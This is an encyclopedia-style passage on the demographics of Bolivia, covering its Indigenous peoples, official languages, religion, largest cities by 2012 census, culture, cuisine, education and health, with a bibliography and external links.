The Indigenous peoples of Bolivia can be divided into two categories of ethnic groups: the Andeans, who are located in the Andean Altiplano and the valley region; and the lowland groups, who inhabit the warm regions of central and eastern Bolivia, including the valleys of Cochabamba Department, the Amazon Basin areas of northern La Paz Department, and the lowland departments of Beni, Pando, Santa Cruz, and Tarija (including the Gran Chaco region in the southeast of the country). Large numbers of Andean peoples have also migrated to form Quechua, Aymara, and intercultural communities in the lowlands.

• Andean ethnicities
  • Aymara people. They live on the high plateau of the departments of La Paz, Oruro and Potosí, as well as some small regions near the tropical flatlands.
  • Quechua people. They mostly inhabit the valleys in Cochabamba and Chuquisaca. They also inhabit some mountain regions in Potosí and Oruro. They divide themselves into different Quechua nations, as the Tarabucos, Ucumaris, Chalchas, Chaquies, Yralipes, Tirinas, among others.
  • Uru people
• Ethnicities of the Eastern Lowlands
  • Guaraníes. Made up of Guarayos, Pausernas, Sirionos, Chiriguanos, Wichí, Chulipis, Taipetes, Tobas and Yuquis.
  • Tacanas: Made up of Lecos, Chimanes, Araonas and Maropas.
  • Panos: Made up of Chacobos, Caripunas, Sinabos, Capuibos and Guacanaguas.
  • Aruacos: Made up of Apolistas, Baures, Moxos, Chané, Movimas, Cayabayas, Carabecas, Paiconecas or Paucanacas.
  • Chapacuras: Made up of Itenez or More, Chapacuras, Sansinonianos, Canichanas, Itonamas, Yuracares, Guatoses and Chiquitos.
  • Botocudos: Made up of Bororos y Otuquis.
  • Zamucos: Made up of Ayoreos.

Language

Main article: Languages of Bolivia

Geographic distribution of the indigenous languages of Bolivia

Bolivia has great linguistic diversity as a result of its multiculturalism. The Constitution of Bolivia recognizes 36 official languages besides Spanish: Aymara, Araona, Baure, Bésiro, Canichana, Cavineño, Cayubaba, Chacobo, Chiman, Ese Ejja, Guaraní, Guarasuawe, Guarayu, Itonama, Leco, Machajuyai-Kallawaya, Machineri, Maropa, Mojeño-Trinitario, Mojeño-Ignaciano, Moré, Mosetén, Movima, Pacawara, Puquina, Quechua, Sirionó, Tacana, Tapiete, Toromona, Uruchipaya, Weenhayek, Yaminawa, Yuki, Yuracaré and Zamuco.

Spanish is the most spoken official language in the country, according to the 2001 census; as it is spoken by more than 60% of the population. All legal and official documents issued by the State, including the Constitution, the main private and public institutions, the media, and commercial activities, are in Spanish.

The main indigenous languages are: Quechua (21.2% of the population in the 2001 census), Aymara (14.6%), Guarani (0.6%) and others (0.4%) including the Moxos in the department of Beni.

Plautdietsch, a German dialect, is spoken by about 70,000 Mennonites in Santa Cruz. Portuguese is spoken mainly in the areas close to Brazil.

Religion

Main article: Religion in Bolivia

Bolivia is a constitutionally secular state that guarantees the freedom of religion and the independence of government from religion."

According to the 2001 census conducted by the National Institute of Statistics of Bolivia, 78 percent of the population is Roman Catholic, followed by 19 percent Protestant and 3 percent non-religious.

The Association of Religion Data Archives (relying on the World Christian Database) records that in 2010, 92.5 percent of Bolivians identified as Christian (of any denomination), 3.1 percent identified with indigenous religion, 2.2 percent identified as Bahá'í, 1.9 percent identified as agnostic, and all other groups constituted 0.1 percent or less.

Much of the indigenous population adheres to different traditional beliefs marked by inculturation or syncretisim with Christianity. The cult of Pachamama, or "Mother Earth", is notable. The veneration of the Virgin of Copacabana, Virgin of Urkupiña and Virgin of Socavón, is also an important feature. There also are important Aymaran communities near Lake Titicaca that have a strong devotion to James the Apostle. Deities worshiped in Bolivia include Ekeko, the Aymaran god of abundance and prosperity, whose day is celebrated every 24 January, and Tupá, a god of the Guaraní people.

Largest cities and towns

Approximately 67 percent of Bolivians live in urban areas, among the lowest proportion in South America. Nevertheless, the rate of urbanization is growing steadily, at around 2.5 percent annually. According to the 2012 census, there are total of 3,158,691 households in Bolivia — an increase of 887,960 from 2001. In 2009, 75.4 percent of homes were classified as a house, hut, or Pahuichi; 3.3 percent were apartments; 21.1 percent were rental residences; and 0.1 percent were mobile homes. Most of the country's largest cities are located in the highlands of the west and central regions.

Largest cities or towns in Bolivia Census 2012, INE
	Rank	Name	Department	Pop.	Rank	Name	Department	Pop.
Santa Cruz de la Sierra El Alto	1	Santa Cruz de la Sierra	Santa Cruz	1,453,549	11	Montero	Santa Cruz	109,518	La Paz Cochabamba
	2	El Alto	La Paz	848,840	12	Trinidad	Beni	106,422
	3	La Paz	La Paz	764,617	13	Warnes	Santa Cruz	96,406
	4	Cochabamba	Cochabamba	630,587	14	Yacuíba	Tarija	91,998
	5	Oruro	Oruro	264,683	15	La Guardia	Santa Cruz	89,080
	6	Sucre	Chuquisaca	259,388	16	Riberalta	Beni	89,003
	7	Tarija	Tarija	205,346	17	Viacha	La Paz	80,388
	8	Potosí	Potosí	189,652	18	Villa Tunari	Cochabamba	72,623
	9	Sacaba	Cochabamba	169,494	19	Cobija	Pando	55,692
	10	Quillacollo	Cochabamba	137,029	20	Tiquipaya	Cochabamba	53,062

Culture

Main article: Culture of Bolivia

See also: Music of Bolivia and Public holidays in Bolivia

Bolivian children playing tarka

Bolivian awayus for sale in La Paz

Bolivian culture has been heavily influenced by the Quechua, the Aymara, as well as the popular cultures of Latin America as a whole.

The cultural development is divided into three distinct periods: precolumbian, colonial, and republican. Important archaeological ruins, gold and silver ornaments, stone monuments, ceramics, and weavings remain from several important pre-Columbian cultures. Major ruins include Tiwanaku, El Fuerte de Samaipata, Inkallaqta and Iskanawaya. The country abounds in other sites that are difficult to reach and have seen little archaeological exploration.

The Diablada, dance primeval, typical and main of Carnival of Oruro a Masterpiece of the Oral and Intangible Heritage of Humanity since 2001 in Bolivia (File: Fraternidad Artística y Cultural "La Diablada")

The Spanish brought their own tradition of religious art which, in the hands of local native and mestizo builders and artisans, developed into a rich and distinctive style of architecture, painting, and sculpture known as "Mestizo Baroque". The colonial period produced not only the paintings of Pérez de Holguín, Flores, Bitti, and others but also the works of skilled but unknown stonecutters, woodcarvers, goldsmiths, and silversmiths. An important body of Native Baroque religious music of the colonial period was recovered and has been performed internationally to wide acclaim since 1994.

Bolivian artists of stature in the 20th century include María Luisa Pacheco, Roberto Mamani Mamani, Alejandro Mario Yllanes, Alfredo Da Silva, and Marina Núñez del Prado.

Bolivia has a rich folklore. Its regional folk music is distinctive and varied. The "devil dances" at the annual carnival of Oruro are one of the great folkloric events of South America, as is the lesser known carnival at Tarabuco. The best known of the various festivals found in the country is the "Carnaval de Oruro", which was among the first 19 "Masterpieces of the Oral and Intangible Heritage of Humanity", as proclaimed by UNESCO in May 2001.

Entertainment includes football.

Cuisine

Main article: Bolivian cuisine

Cuisine in Bolivia stems mainly from the combination of Spanish cuisine with traditional indigenous Aymara/Inca ingredients, with the addition of later influences from German, Italian, Basque, Russian, Polish, and Arab immigrants.

Artistic and popular references

The 2011 Caroline Alethia novel Plant Teacher takes place in Bolivia from 2007 to 2008. The novel explores such themes as politics, indigenous religions, and narcotourism.

Education

Main article: Education in Bolivia

In 2008, following UNESCO standards, Bolivia was declared free of illiteracy, making it the fourth country in South America to attain this status.

Bolivia has public and private universities. Among them: Universidad Mayor, Real y Pontificia de San Francisco Xavier de Chuquisaca USFX – Sucre, founded in 1624; Universidad Mayor de San Andres UMSA – La Paz, founded in 1830; Universidad Mayor de San Simon UMSS – Cochabamba, founded in 1832; Universidad Autónoma Gabriel René Moreno UAGRM – Santa Cruz de la Sierra, founded in 1880; Universidad Tecnica de Oruro UTO – Oruro, founded in 1892; and Universidad Autónoma Tomás Frías UATF – Potosi, founded in 1892.

Health

Main article: Health in Bolivia

Based on 2013 The World Factbook estimates, Bolivia is ranked 161st in life expectancy with a number of 68.2 years. Life expectancy for men is 65.4 and for women is 71.1. A study by the United Nations Development Programme and United Nations International Emergency Children's Fund reported over 230 babies died per day in Bolivia through lack of proper care. The majority of the population has no health insurance or access to healthcare. Demographic and Health Surveys has completed five surveys in Bolivia since 1989 on a wide range of topics.

See also

• Outline of Bolivia
• Index of Bolivia-related articles
• Women in Bolivia

Bibliography

• Constitute Assembly of Bolivia (2007). "Nueva Constitucion Politica del Estatdo" (PDF) (in Spanish). Government of Bolivia. Archived from the original (PDF) on 3 March 2009. Retrieved 28 January 2014. {{cite web}}: Unknown parameter |trans_title= ignored (|trans-title= suggested) (help)
• Fagan, Brian (2001). The Seventy Great Mysteries of the Ancient World: Unlocking the Secrets of Past Civilizations. Thames & Hudson. ISBN 9780500510506. {{cite book}}: Invalid |ref=harv (help)
• Kolata, Alan (1993). The Tiwanaku: Portrait of an Andean Civilization. Wiley. ISBN 9781557861832. {{cite book}}: Invalid |ref=harv (help)
• Kolata, Alan (1996). Valley of the Spirits: A Journey into the Lost Realm of the Aymara. Wiley. ISBN 9780471575078. {{cite book}}: Invalid |ref=harv (help)

External links

• "Bolivia". The World Factbook (2024 ed.). Central Intelligence Agency.
• Bolivia at Curlie
• Bolivia: A Country Study (U.S. Library of Congress).
• BBC News: Country Profile – Bolivia
• Wikimedia Atlas of Bolivia
• Geographic data related to Bolivia at OpenStreetMap
• Bolivian Thoughts